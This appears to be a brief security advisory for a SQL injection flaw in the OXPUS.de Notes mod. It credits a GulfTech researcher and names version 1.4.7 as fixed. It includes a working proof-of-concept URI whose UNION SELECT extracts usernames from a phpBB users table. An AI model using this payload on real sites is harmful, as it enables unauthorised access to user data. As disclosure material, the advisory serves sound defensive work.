James Bercegay of the GulfTech Security Research Team is credited with the discovery of this vulnerability.
Vulnerable
OXPUS.de Notes mod
Not Vulnerable
OXPUS.de Notes mod 1.4.7
Code
No exploit is required.
The following proof of concept URI is available: http://www.example.com/posting_notes.php?mode=editpost&p=-99%20UNION%20SELECT%200,0,username,0,0,0,0,0,0%20FROM%20orionphpbb_users%20WHERE%20user_id=2/*
